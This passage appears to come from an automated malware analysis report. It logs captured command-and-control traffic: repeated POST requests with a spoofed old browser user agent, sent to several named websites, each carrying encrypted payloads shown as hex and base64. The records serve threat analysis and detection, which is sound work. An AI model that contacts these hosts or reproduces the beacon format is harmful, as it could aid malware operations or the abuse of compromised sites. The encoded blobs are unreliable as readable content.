44 61 52 79 64 2f 5a 79 2f 4b 4e 79 76 58 78 75 72 4f 39 55 49 6a 45 36 69 63 67 4d 61 62 6a 36 73 67 79 79 39 44 42 6d 69 77 63 53 6c 76 55 6c 59 37 77 4b 51 42 38 34 2b 5a 39 56 7a 4b 74 34 5a 6c 53 63 35 2b 6e 39 39 73 56 6d 31 35 75 6a 71 54 61 54 45 6c 43 6c 6a 4f 34 6d 68 55 62 6f 63 6f 65 5a 66 52 53 62 78 73 4a 66 2f 74 45 63 43 67 68 4b 4c 4c 69 56 38 6e 76 6d 35 45 6c 34 67 30 76 38 7a 49 34 4b 4f 4d 36 51 31 4e 48 45 36 6b 64 36 58 57 30 44 5a 62 5a 4c 6d 4e 4e 75 55 79 32 4d 30 41 50 51 61 79 51 52 6d 64 47 30 4d 50 61 76 4a 77 43 71 32 36 63 46 42 2b 38 48 56 55 5a 36 70 33 2f 77 7a 34 72 4c 32 71 47 2f 42 79 67 72 32 39 49 67 43 70 54 41 33 54 36 78 55 57 55 39 6c 56 30 34 64 66 48 4b 67 4f 53 47 50 45 62 6e 32 2b 58 61 6c 67 5a 64 71 4c 64 58 47 79 4f 32 45 73 57 4d 57 4b 69 55 69 70 4c 52 74 33 42 53 63 35 42 42 68 4a 36 53 67 71 53 78 56 58 6a 39 67 3d 3d Data Ascii: sUc4BCSK2gvjJdQmv08WZ/dIGhjcrahBmKlsI5c0ofanT+SlzqKSg7Ib9B6OKyMCUDIZLgvzGdh3SIZVQ1hqKt27VicmN7i0W1bhSx9Bo7vllVWtN0IMkR8LJyaNUzlz1RsrhvDYdgRLVFj9pvJOrlUHZkRN2diU3sAztWUGUmvVtXCfX4xuQJBdtLJzwiYq3FyOlofMDXvXz4CHpcJcbP059ddW4SuIbNQAPsSuae5f6qKiiDaRyd/Zy/KNyvXxurO9UIjE6icgMabj6sgyy9DBmiwcSlvUlY7wKQB84+Z9VzKt4ZlSc5+n99sVm15ujqTaTElCljO4mhUbocoeZfRSbxsJf/tEcCghKLLiV8nvm5El4g0v8zI4KOM6Q1NHE6kd6XW0DZbZLmNNuUy2M0APQayQRmdG0MPavJwCq26cFB+8HVUZ6p3/wz4rL2qG/Bygr29IgCpTA3T6xUWU9lV04dfHKgOSGPEbn2+XalgZdqLdXGyO2EsWMWKiUipLRt3BSc5BBhJ6SgqSxVXj9g==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 588User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ora.ecnet.jpCache-Control: no-cacheData Raw: 48 6f 74 42 6d 36 62 45 5a 6c 62 77 56 71 45 4a 51 52 4d 33 78 73 6d 67 49 79 36 47 6a 36 47 73 4f 74 73 57 48 78 69 47 6d 7a 77 53 70 47 74 4b 63 34 65 5a 75 4f 48 64 4b 6d 70 46 36 4d 64 4c 50 55 6f 47 47 54 43 6a 6c 75 62 63 71 77 33 74 47 31 34 53 76 4b 63 4a 48 2b 36 5a 67 4c 6e 59 4b 59 44 64 44 73 5a 58 4b 4f 4d 5a 58 6d 52 70 4b 71 70 32 33 4f 46 44 5a 6f 36 57 67 34 46 65 68 4c 2f 4c 6b 72 7a 68 73 33 2b 64 4a 31 55 49 42 55 75 65 57 4b 4e 59 59 33 68 69 4c 42 48 58 75 57 63 55 6c 77 36 76 30 66 6a 39 66 78 68 42 48 67 52 36 6f 43 44 42 44 32 30 4b 4b 41 73 6e 6b 79 70 52 54 64 78 5a 64 79 53 48 4f 6d 35 43 4c 6c 2b 59 53 64 42 55 63 30 66 76 31 4f 2f 32 35 62 4f 31 2f 4f 54 30 4e 51 63 2b 4c 54 4b 69 53 65 31 6c 47 57 48 41 61 6a 4d 54 64 4e 73 78 71 37 62 63 76 4b 46 30 44 70 4c 6f 74 71 46 6e 2b 55 7a 31 61 31 68 58 4f 58 49 59 65 77 45 67 34 73 33 41 43 6c 61 55 6a 43 2b 36 33 52 41 43 64 62 68 36 6c 34 77 2b 79 44 4d 70 77 6e 75 38 49 36 79 56 42 76 46 4f 42 6c 4e 4b 37 68 6d 4c 41 74 5a 73 35 41 53 42 4d 77 34 72 70 4d 73 73 47 52 45 54 74 6b 58 7a 6b 34 57 6d 4a 71 70 67 46 44 63 6e 6c 49 45 79 47 4c 30 67 74 53 35 6f 62 36 6c 63 37 73 33 76 78 44 65 58 6c 74 57 59 49 5a 54 46 54 49 45 4f 44 4d 36 43 39 62 73 4b 71 46 2f 63 69 79 6b 4f 59 4a 71 65 6f 38 2f 71 68 43 57 61 75 35 4a 61 54 4f 44 65 36 33 73 38 34 33 35 2f 6f 66 6b 4e 51 41 30 45 77 48 77 35 39 50 47 33 52 65 51 6f 47 49 51 61 42 74 4c 59 49 43 39 6e 4e 6c 47 2b 6f 49 5a 47 36 78 59 61 35 6f 6e 36 76 57 76 48 64 6b 70 39 41 75 33 54 35 49 6b 30 4b 4e 38 4d 45 47 69 36 67 39 42 6b 34 73 6f 4b 4f 75 73 55 48 31 53 4b 4d 39 6d 4b 34 4c 52 57 38 4c 58 32 41 62 71 57 75 34 49 69 44 32 65 36 6c 70 39 73 5a 46 54 42 74 74 70 66 46 67 4f 48 67 6a 59 61 64 51 3d 3d Data Ascii: HotBm6bEZlbwVqEJQRM3xsmgIy6Gj6GsOtsWHxiGmzwSpGtKc4eZuOHdKmpF6MdLPUoGGTCjlubcqw3tG14SvKcJH+6ZgLnYKYDdDsZXKOMZXmRpKqp23OFDZo6Wg4FehL/Lkrzhs3+dJ1UIBUueWKNYY3hiLBHXuWcUlw6v0fj9fxhBHgR6oCDBD20KKAsnkypRTdxZdySHOm5CLl+YSdBUc0fv1O/25bO1/OT0NQc+LTKiSe1lGWHAajMTdNsxq7bcvKF0DpLotqFn+Uz1a1hXOXIYewEg4s3AClaUjC+63RACdbh6l4w+yDMpwnu8I6yVBvFOBlNK7hmLAtZs5ASBMw4rpMssGRETtkXzk4WmJqpgFDcnlIEyGL0gtS5ob6lc7s3vxDeXltWYIZTFTIEODM6C9bsKqF/ciykOYJqeo8/qhCWau5JaTODe63s8435/ofkNQA0EwHw59PG3ReQoGIQaBtLYIC9nNlG+oIZG6xYa5on6vWvHdkp9Au3T5Ik0KN8MEGi6g9Bk4soKOusUH1SKM9mK4LRW8LX2AbqWu4IiD2e6lp9sZFTBttpfFgOHgjYadQ==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 572User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.credo.edu.plCache-Control: no-cacheData Raw: 54 69 51 41 6d 6c 70 6e 33 77 75 36 62 41 52 36 66 51 36 2f 38 5a 32 35 6e 78 68 4b 79 6f 64 7a 4c 72 64 50 2f 69 77 34 44 73 32 30 51 47 32 48 66 54 49 61 75 4e 49 31 2f 45 70 6f 33 39 4b 50 55 65 64 4a 68 70 51 49 52 6f 66 51 48 32 62 67 58 33 58 65 35 6b 58 6e 65 37 79 7a 7a 48 53 6b 66 69 64 31 44 51 72 6d 34 71 61 72 53 47 69 62 67 48 63 63 67 34 54 4c 6f 30 47 54 33 56 45 4e 6c 65 79 46 56 78 47 74 48 53 76 6e 35 50 34 58 63 39 5a 76 6f 47 64 65 36 48 75 46 62 31 66 66 4c 47 35 41 37 79 75 62 44 34 6f 63 52 43 34 6c 6e 45 36 36 6c 68 51 66 2b 32 48 61 70 6e 49 62 66 36 5a 34 32 35 67 35 71 4e 37 77 61 38 59 52 32 79 72 77 4c 61 6f 31 70 6d 32 30 45 79 73 33 58 61 73 4c 35 46 41 66 58 4c 2b 30 69 74 32 78 48 36 54 55 58 6a 72 45 6a 51 53 46 41 59 77 68 66 56 66 6d 58 4c 59 47 7a 6d 77 53 38 48 4f 69 57 4d 62 75 66 4e 4b 50 63 31 2b 4e 55 46 68 42 5a 47 43 79 43 34 7a 30 68 43 37 4c 56 4c 49 52 46 4a 37 6a 6a 70 57 77 62 4a 58 4c 7a 6b 47 75 31 6e 35 57 36 52 70 6f 35 74 4c 4e 58 2f 4b 4c 6b 63 65 70 42 53 77 44 59 62 54 69 69 68 32 31 46 50 4b 30 34 50 67 31 6a 58 76 63 6a 41 79 39 50 73 4c 33 36 2b 64 37 36 39 65 77 6a 6c 6a 51 56 2b 41 74 4c 71 72 6b 77 6e 52 74 7a 74 33 62 45 75 36 5a 42 71 69 6d 75 33 6a 63 4f 59 76 46 6f 4d 4f 79 66 57 76 5a 53 55 76 48 6a 48 39 53 30 41 4a 37 42 42 2f 48 31 54 46 4d 50 6d 70 35 42 4e 74 4c 36 38 51 6a 56 38 53 6e 31 2f 74 2f 2f 4d 61 4a 57 45 73 47 67 70 67 38 76 35 6a 68 68 51 30 6d 43 62 79 52 34 55 4e 44 4d 4c 51 73 44 6a 49 30 6d 2f 75 54 79 38 52 79 36 37 51 75 6d 55 79 73 6f 75 4e 4e 75 5a 54 68 32 48 61 50 69 48 55 31 4f 71 37 67 68 2f 2b 37 62 39 71 57 61 6b 6e 32 4e 58 57 53 74 65 59 36 37 4d 34 7a 6d 6a 6a 39 4c 31 77 54 44 57 7a 4a Data Ascii: TiQAmlpn3wu6bAR6fQ6/8Z25nxhKyodzLrdP/iw4Ds20QG2HfTIauNI1/Epo39KPUedJhpQIRofQH2bgX3Xe5kXne7yzzHSkfid1DQrm4qarSGibgHccg4TLo0GT3VENleyFVxGtHSvn5P4Xc9ZvoGde6HuFb1ffLG5A7yubD4ocRC4lnE66lhQf+2HapnIbf6Z425g5qN7wa8YR2yrwLao1pm20Eys3XasL5FAfXL+0it2xH6TUXjrEjQSFAYwhfVfmXLYGzmwS8HOiWMbufNKPc1+NUFhBZGCyC4z0hC7LVLIRFJ7jjpWwbJXLzkGu1n5W6Rpo5tLNX/KLkcepBSwDYbTiih21FPK04Pg1jXvcjAy9PsL36+d769ewjljQV+AtLqrkwnRtzt3bEu6ZBqimu3jcOYvFoMOyfWvZSUvHjH9S0AJ7BB/H1TFMPmp5BNtL68QjV8Sn1/t//MaJWEsGgpg8v5jhhQ0mCbyR4UNDMLQsDjI0m/uTy8Ry67QumUysouNNuZTh2HaPiHU1Oq7gh/+7b9qWakn2NXWSteY67M4zmjj9L1wTDWzJ
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.rs-ag.comCache-Control: no-cacheData Raw: 43 4f 77 52 45 6f 4e 4e 34 77 74 69 71 35 6e 6f 69 68 57 6e 2b 61 78 71 34 59 6b 70 57 6e 74 46 5a 38 75 55 76 7a 59 6b 34 4e 70 41 77 57 31 4d 42 52 4a 50 76 48 50 2f 7a 39 58 65 2f 77 30 58 6e 69 30 48 69 31 36 64 51 4e 31 54 6a 47 4e 32 62 4e 61 42 77 41 5a 73 71 30 44 75 30 41 45 54 39 44 61 35 31 76 49 66 59 70 4d 31 68 37 6a 76 51 68 63 6b 64 37 2f 6f 47 6e 68 4b 7a 58 42 47 76 4e 33 55 45 61 33 6c 36 31 47 74 45 6b 52 49 34 63 41 61 45 58 4a 65 42 6b 4a 33 70 4a 49 77 59 35 6c 31 56 42 2b 50 5a 34 34 39 44 76 6e 30 4c 52 72 31 49 4e 34 7a 53 38 45 6a 77 53 6d 6d 4b 64 59 51 53 63 36 30 59 6e 7a 44 33 73 42 47 4e 43 62 30 55 2f 4c 52 53 62 32 43 57 4c 36 73 6b 7a 73 45 70 54 4a 5a 48 72 46 4f 32 31 4e 41 45 6f 6f 75 4d 32 5a 4d 42 55 4c 2f 51 32 32 67 33 6c 6c 53 63 56 48 56 6f 50 44 38 37 67 6d 37 45 31 30 30 4e 38 55 36 66 41 33 77 79 7a 6f 4b 34 77 6e 77 68 57 56 6d 47 58 53 35 30 5a 66 4f 36 2f 49 62 61 48 4b 73 57 35 4f 75 59 7a 62 54 70 35 54 38 65 4f 57 36 67 42 5a 37 4e 6a 67 54 45 58 44 32 74 57 71 4a 2b 4a 43 34 73 30 6c 53 6d 45 58 78 66 43 76 6f 66 39 61 64 46 42 58 6b 6d 66 79 73 6a 50 42 38 6b 4b 67 50 59 73 72 73 6b 57 45 6f 46 33 47 30 76 6e 64 52 39 72 75 78 50 4e 4f 76 35 52 41 75 71 78 56 30 31 6f 56 68 38 54 62 55 6b 36 66 58 34 61 69 52 6d 47 38 56 4c 54 54 65 4b 51 44 4e 70 66 41 41 56 46 47 4c 38 7a 6c 72 6c 30 71 6f 4a 55 42 64 62 45 4c 52 67 73 41 6a 43 4d 52 42 4d 71 54 6c 61 67 57 48 6c 65 4b 75 5a 47 67 55 79 55 64 4f 4a 74 53 71 2f 4e 6f 37 33 46 56 77 4d 71 6b 57 52 37 76 67 46 53 75 30 49 33 7a 51 75 74 78 54 31 4e 5a 39 67 38 39 38 4d 63 51 61 79 69 32 79 6d 45 45 72 38 64 79 61 2f 34 55 74 56 6f 75 78 37 79 6e 71 51 52 6b 30 71 31 44 62 Data Ascii: COwREoNN4wtiq5noihWn+axq4YkpWntFZ8uUvzYk4NpAwW1MBRJPvHP/z9Xe/w0Xni0Hi16dQN1TjGN2bNaBwAZsq0Du0AET9Da51vIfYpM1h7jvQhckd7/oGnhKzXBGvN3UEa3l61GtEkRI4cAaEXJeBkJ3pJIwY5l1VB+PZ449Dvn0LRr1IN4zS8EjwSmmKdYQSc60YnzD3sBGNCb0U/LRSb2CWL6skzsEpTJZHrFO21NAEoouM2ZMBUL/Q22g3llScVHVoPD87gm7E100N8U6fA3wyzoK4wnwhWVmGXS50ZfO6/IbaHKsW5OuYzbTp5T8eOW6gBZ7NjgTEXD2tWqJ+JC4s0lSmEXxfCvof9adFBXkmfysjPB8kKgPYsrskWEoF3G0vndR9ruxPNOv5RAuqxV01oVh8TbUk6fX4aiRmG8VLTTeKQDNpfAAVFGL8zlrl0qoJUBdbELRgsAjCMRBMqTlagWHleKuZGgUyUdOJtSq/No73FVwMqkWR7vgFSu0I3zQutxT1NZ9g898McQayi2ymEEr8dya/4UtVoux7ynqQRk0q1Db
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 540User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.credo.edu.plCache-Control: no-cacheData Raw: 68 34 4e 72 49 53 38 63 35 6c 57 44 78 30 41 50 54 68 76 77 43 44 69 71 6f 52 46 46 58 44 7a 34 30 78 62 30 37 6f 57 51 59 42 59 38 46 65 31 74 61 6f 47 62 62 44 61 73 63 56 4e 4d 69 76 69 65 51 79 49 38 65 74 4b 30 6b 74 52 70 31 6d 4f 30 62 52 6e 51 6c 6c 42 54 4b 6d 4f 79 5a 49 72 42 2b 37 6c 5a 47 77 76 79 48 65 51 47 7a 66 33 45 4c 46 47 76 68 46 37 32 69 49 6a 6d 68 51 46 39 47 78 31 2f 39 4a 51 42 53 55 74 52 63 4a 52 4b 33 77 6e 32 34 54 75 64 7a 4a 47 63 50 30 50 69 49 73 54 6f 34 6e 68 38 71 66 37 51 77 6d 68 74 30 63 35 6a 6c 7a 77 75 37 75 36 6f 54 78 6c 30 30 6b 6f 74 4f 65 4f 61 52 62 52 44 6f 51 36 73 2f 77 30 5a 68 30 6b 42 74 37 75 77 4b 32 6d 2f 47 6c 4f 31 51 66 6b 7a 62 77 35 52 75 33 33 36 4d 75 69 44 42 35 6d 72 4f 47 38 4e 5a 6e 66 4d 51 6d 4b 6c 64 45 55 71 35 42 6e 4e 59 77 36 34 36 74 77 4f 67 74 37 69 44 64 32 4f 41 4a 58 76 38 6d 43 46 4a 65 7a 6d 59 34 52 4e 58 74 33 68 38 53 77 43 46 65 54 55 2f 7a 47 6a 50 42 46 57 37 53 31 46 55 50 31 4c 6e 48 50 7a 6b 55 64 73 42 31 4f 6a 59 2b 53 2f 43 33 5a 50 2b 2b 70 70 32 6c 62 47 30 77 74 54 4d 4f 49 7a 55 37 34 39 4d 57 68 72 4b 39 53 74 2b 5a 44 4a 6c 67 5a 2f 47 56 53 4a 42 2f 47 51 32 39 50 4f 38 68 56 75 52 66 63 31 59 46 6c 68 63 43 74 30 69 4e 36 46 50 46 72 6d 48 7a 57 78 55 79 49 44 32 49 66 7a 73 46 51 5a 54 50 64 4c 32 41 76 63 33 6d 6c 36 36 47 6d 7a 79 63 36 6a 63 63 2b 6b 6a 38 59 47 31 47 39 45 63 64 43 52 45 75 74 75 48 77 7a 64 76 59 67 59 34 6f 6d 2b 56 55 2f 59 52 73 49 63 62 58 73 6e 62 79 44 52 44 77 5a 48 36 58 4c 30 53 6f 6e 78 46 62 71 34 41 6c 56 48 76 6d 59 31 50 4a 38 66 58 2b 47 4b 6a 5a 49 3d Data Ascii: h4NrIS8c5lWDx0APThvwCDiqoRFFXDz40xb07oWQYBY8Fe1taoGbbDascVNMivieQyI8etK0ktRp1mO0bRnQllBTKmOyZIrB+7lZGwvyHeQGzf3ELFGvhF72iIjmhQF9Gx1/9JQBSUtRcJRK3wn24TudzJGcP0PiIsTo4nh8qf7Qwmht0c5jlzwu7u6oTxl00kotOeOaRbRDoQ6s/w0Zh0kBt7uwK2m/GlO1Qfkzbw5Ru336MuiDB5mrOG8NZnfMQmKldEUq5BnNYw646twOgt7iDd2OAJXv8mCFJezmY4RNXt3h8SwCFeTU/zGjPBFW7S1FUP1LnHPzkUdsB1OjY+S/C3ZP++pp2lbG0wtTMOIzU749MWhrK9St+ZDJlgZ/GVSJB/GQ29PO8hVuRfc1YFlhcCt0iN6FPFrmHzWxUyID2IfzsFQZTPdL2Avc3ml66Gmzyc6jcc+kj8YG1G9EcdCREutuHwzdvYgY4om+VU/YRsIcbXsnbyDRDwZH6XL0SonxFbq4AlVHvmY1PJ8fX+GKjZI=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 532User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.mqs.com.brCache-Control: no-cacheCookie: __goc_session__=lafcfcoaucmfvhcxntzzjciukguenwvs; _mcnc=1Data Raw: 31 68 31 4e 74 36 32 32 53 67 75 55 33 6d 55 4c 70 43 6a 6f 61 6d 62 76 49 42 61 62 59 38 47 70 4d 55 4c 6c 35 2b 41 36 4d 6c 43 45 4b 37 53 4c 51 37 54 73 6c 4d 32 30 43 2f 2f 79 69 75 4e 43 75 56 41 62 32 58 31 76 38 39 77 75 6f 6f 78 4c 75 62 4f 51 4c 4e 46 78 7a 71 42 72 78 57 54 5a 72 49 39 67 33 61 56 39 61 6c 78 38 34 72 6e 52 7a 49 37 67 59 49 35 62 6b 39 48 73 6e 55 37 6b 42 65 78 73 59 6e 42 47 62 6a 31 79 72 78 39 57 6a 43 65 79 2f 64 55 2f 78 64 6e 37 2f 4a 55 41 2b 4f 63 30 50 46 4a 41 31 66 65 4f 6f 30 77 74 31 6b 68 45 35 44 32 65 4d 37 4c 56 71 43 51 4d 48 5a 6a 4b 42 34 4b 47 54 4f 35 31 2b 70 66 4f 79 51 64 4b 52 78 76 64 78 33 4f 51 71 31 62 69 64 48 44 4a 43 64 54 46 70 53 39 6e 4d 4a 41 79 72 54 59 4b 43 2b 79 49 37 4f 65 5a 7a 59 68 62 63 7a 4b 32 72 75 37 5a 37 51 31 39 4c 56 44 61 78 45 34 58 31 78 38 38 6f 7a 74 53 64 32 37 46 61 71 5a 51 6c 63 5a 50 2f 47 69 2f 5a 49 37 42 56 7a 32 57 32 50 6a 52 57 32 33 6a 52 4d 4f 74 7a 39 4b 33 62 4d 4a 73 55 64 33 69 79 6d 64 2f 4c 34 31 5a 43 71 37 38 59 6f 55 53 34 36 32 54 39 31 36 54 43 30 62 37 59 6c 68 63 65 78 51 31 7a 55 64 43 30 6d 68 53 49 44 2f 70 47 36 66 6c 42 30 65 59 57 51 53 4f 33 64 37 38 7a 6b 77 2f 77 73 55 74 78 44 6e 43 62 77 30 4d 36 63 5a 6e 50 34 55 52 4e 65 35 48 2b 42 4b 66 4f 47 74 56 61 4a 6f 2b 6a 65 4d 46 6b 42 74 6e 34 68 4a 52 76 62 55 42 68 62 63 47 46 6c 42 4e 48 78 55 6f 71 65 69 42 75 37 54 63 56 72 51 71 43 63 56 52 57 72 30 79 34 2b 73 4c 53 49 52 4b 44 42 38 49 68 79 4d 2f 72 48 37 42 4d 49 4b 32 78 77 34 5a 35 58 33 51 69 4f 61 64 65 76 63 77 6f 35 61 75 7a 47 63 3d Data Ascii: 1h1Nt622SguU3mULpCjoambvIBabY8GpMULl5+A6MlCEK7SLQ7TslM20C//yiuNCuVAb2X1v89wuooxLubOQLNFxzqBrxWTZrI9g3aV9alx84rnRzI7gYI5bk9HsnU7kBexsYnBGbj1yrx9WjCey/dU/xdn7/JUA+Oc0PFJA1feOo0wt1khE5D2eM7LVqCQMHZjKB4KGTO51+pfOyQdKRxvdx3OQq1bidHDJCdTFpS9nMJAyrTYKC+yI7OeZzYhbczK2ru7Z7Q19LVDaxE4X1x88oztSd27FaqZQlcZP/Gi/ZI7BVz2W2PjRW23jRMOtz9K3bMJsUd3iymd/L41ZCq78YoUS462T916TC0b7YlhcexQ1zUdC0mhSID/pG6flB0eYWQSO3d78zkw/wsUtxDnCbw0M6cZnP4URNe5H+BKfOGtVaJo+jeMFkBtn4hJRvbUBhbcGFlBNHxUoqeiBu7TcVrQqCcVRWr0y4+sLSIRKDB8IhyM/rH7BMIK2xw4Z5X3QiOadevcwo5auzGc=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.otena.comCache-Control: no-cacheData Raw: 62 46 43 41 59 75 66 61 2f 67 74 53 48 2b 4b 4d 6c 68 73 6e 78 4c 43 74 77 57 78 64 44 59 34 57 43 32 55 49 42 4d 6a 71 77 41 69 4b 74 79 75 57 4a 6c 30 4f 41 46 71 62 63 36 32 4f 56 4d 68 52 66 65 79 77 4b 7a 4b 59 61 45 62 79 49 69 76 38 36 6b 39 6c 73 48 7a 56 67 38 67 34 70 54 6f 61 52 4c 67 61 34 6d 50 55 4c 73 6e 43 4b 55 5a 44 50 47 72 33 42 38 4c 6a 2b 57 55 36 63 30 2f 74 4c 2b 44 35 42 77 57 75 4c 4f 59 33 44 57 53 50 37 31 74 62 39 34 4f 54 78 5a 6a 35 39 48 69 66 51 39 57 7a 4a 59 55 6f 6c 34 4a 72 70 48 4d 4a 6d 6a 49 57 78 6f 2f 62 59 62 68 31 77 73 39 73 4b 48 48 52 56 39 35 35 2f 48 4c 6a 50 45 36 46 74 41 67 41 32 44 6c 63 74 76 70 41 55 67 76 4b 70 32 62 72 73 6d 6c 48 53 47 67 38 45 48 56 61 79 76 44 36 72 69 63 53 76 6e 46 6d 46 37 77 50 75 5a 35 54 2b 51 33 2f 79 62 6a 62 58 51 2b 31 74 75 62 6d 56 57 35 49 43 79 51 46 32 63 32 61 30 30 63 78 51 63 35 4b 5a 45 37 69 45 52 76 63 53 55 64 43 69 45 50 48 36 68 47 69 65 31 78 4e 4c 69 7a 56 30 55 70 70 49 76 6f 63 4f 56 5a 46 5a 56 49 5a 32 4c 41 51 77 75 6e 45 75 53 65 49 7a 38 57 50 37 71 50 58 77 4b 32 72 48 35 44 54 59 63 73 51 49 73 48 68 46 50 33 35 64 37 4c 5a 49 64 77 71 63 2f 54 34 34 44 2b 6d 31 76 70 47 61 62 43 6a 49 30 54 58 4f 35 46 30 31 69 63 4a 2b 78 49 54 54 74 78 4f 2b 2b 50 2f 36 30 35 77 67 4f 2f 48 35 4e 4d 49 47 62 50 38 62 41 4c 77 2f 4e 4c 49 69 65 59 55 39 48 76 42 4c 4d 5a 66 34 64 31 71 39 44 6e 52 62 4f 4a 56 32 51 33 59 2f 4f 44 7a 74 64 30 4d 66 41 4e 4e 76 59 70 33 6d 66 45 51 39 51 78 4a 35 59 5a 52 75 74 5a 35 50 4e 34 4f 75 69 76 7a 36 41 6c 6b 76 34 79 41 55 45 48 4a 68 30 4f 34 67 68 4a 73 48 51 7a 58 6a 4f 78 5a 75 57 64 77 78 42 38 2b 4c 56 6b 6f 78 67 47 77 51 41 79 79 Data Ascii: bFCAYufa/gtSH+KMlhsnxLCtwWxdDY4WC2UIBMjqwAiKtyuWJl0OAFqbc62OVMhRfeywKzKYaEbyIiv86k9lsHzVg8g4pToaRLga4mPULsnCKUZDPGr3B8Lj+WU6c0/tL+D5BwWuLOY3DWSP71tb94OTxZj59HifQ9WzJYUol4JrpHMJmjIWxo/bYbh1ws9sKHHRV955/HLjPE6FtAgA2DlctvpAUgvKp2brsmlHSGg8EHVayvD6ricSvnFmF7wPuZ5T+Q3/ybjbXQ+1tubmVW5ICyQF2c2a00cxQc5KZE7iERvcSUdCiEPH6hGie1xNLizV0UppIvocOVZFZVIZ2LAQwunEuSeIz8WP7qPXwK2rH5DTYcsQIsHhFP35d7LZIdwqc/T44D+m1vpGabCjI0TXO5F01icJ+xITTtxO++P/605wgO/H5NMIGbP8bALw/NLIieYU9HvBLMZf4d1q9DnRbOJV2Q3Y/ODztd0MfANNvYp3mfEQ9QxJ5YZRutZ5PN4Ouivz6Alkv4yAUEHJh0O4ghJsHQzXjOxZuWdwxB8+LVkoxgGwQAyy
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 560User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.abdg.comCache-Control: no-cacheData Raw: 63 4f 50 57 47 7a 55 2f 39 41 75 2b 63 44 6d 71 6e 45 63 79 56 53 37 74 33 49 6a 44 75 6f 71 53 4f 56 64 6d 6b 73 4e 2f 70 65 68 63 38 32 62 6c 46 52 39 5a 7a 7a 34 2f 70 68 42 2b 35 55 57 37 41 68 5a 52 4d 67 70 35 4a 6d 4d 48 51 47 65 4d 36 61 72 43 4a 48 52 4d 64 42 4f 78 75 5a 6b 34 44 7a 32 7a 62 75 57 73 31 68 42 75 38 67 53 6f 47 4e 4c 45 50 41 36 38 37 6b 2f 65 55 4a 36 39 73 78 5a 6a 30 77 6b 36 38 4c 32 46 30 62 47 44 61 77 36 7a 74 5a 74 5a 4a 67 39 77 33 59 35 30 4a 73 4a 61 2f 4b 74 31 31 6e 6a 4c 77 64 54 76 67 4a 77 50 72 62 63 62 6b 75 57 69 37 48 35 74 2f 53 77 63 77 47 78 39 44 43 6c 41 57 64 56 36 65 74 50 4b 65 32 52 65 43 61 47 63 38 78 6f 6a 72 38 76 4b 4e 33 73 43 66 55 59 61 58 33 50 45 75 71 45 39 76 68 36 45 55 63 76 6e 31 33 7a 69 59 4b 50 6d 44 39 63 31 2b 35 78 2f 33 64 36 71 79 47 33 2b 72 57 70 6f 6b 66 4d 5a 77 74 75 69 6a 30 62 78 73 4e 5a 44 34 5a 69 34 4b 49 75 33 6e 63 4d 6d 36 43 59 68 55 56 46 76 41 57 48 4e 4c 44 51 2f 59 5a 38 38 62 74 2b 69 70 66 37 2f 69 2b 4e 6a 4a 2b 5a 35 76 41 4f 70 69 4b 4c 54 57 57 7a 53 6d 72 2f 65 52 52 55 4b 35 78 69 47 4f 63 55 4a 43 77 75 4b 71 39 7a 41 6d 36 44 34 74 66 69 68 66 2b 49 4b 51 68 41 51 37 7a 66 79 7a 34 42 4e 46 61 70 68 4a 4d 6d 4f 61 72 55 70 48 39 48 7a 72 34 32 49 65 69 7a 69 41 2f 71 35 57 35 73 4c 4c 55 68 35 77 62 54 4e 36 4a 55 6e 79 6e 50 57 38 41 67 48 78 6e 64 31 35 73 61 50 7a 31 43 4e 79 54 4d 76 4a 49 79 2b 4c 59 49 69 6e 50 46 58 67 45 4a 64 6d 4a 61 38 59 32 2f 71 6f 54 78 68 74 35 65 78 6d 31 47 77 47 39 6e 79 30 50 62 4e 4c 75 39 2f 4b 49 45 44 73 34 6b 77 4a 59 2b 50 59 4e 73 6e 61 56 72 53 44 32 72 33 49 32 7a 39 45 6c 54 2b 37 51 4e 76 32 52 6c 67 Data Ascii: cOPWGzU/9Au+cDmqnEcyVS7t3IjDuoqSOVdmksN/pehc82blFR9Zzz4/phB+5UW7AhZRMgp5JmMHQGeM6arCJHRMdBOxuZk4Dz2zbuWs1hBu8gSoGNLEPA687k/eUJ69sxZj0wk68L2F0bGDaw6ztZtZJg9w3Y50JsJa/Kt11njLwdTvgJwPrbcbkuWi7H5t/SwcwGx9DClAWdV6etPKe2ReCaGc8xojr8vKN3sCfUYaX3PEuqE9vh6EUcvn13ziYKPmD9c1+5x/3d6qyG3+rWpokfMZwtuij0bxsNZD4Zi4KIu3ncMm6CYhUVFvAWHNLDQ/YZ88bt+ipf7/i+NjJ+Z5vAOpiKLTWWzSmr/eRRUK5xiGOcUJCwuKq9zAm6D4tfihf+IKQhAQ7zfyz4BNFaphJMmOarUpH9Hzr42IeiziA/q5W5sLLUh5wbTN6JUnynPW8AgHxnd15saPz1CNyTMvJIy+LYIinPFXgEJdmJa8Y2/qoTxht5exm1GwG9ny0PbNLu9/KIEDs4kwJY+PYNsnaVrSD2r3I2z9ElT+7QNv2Rlg
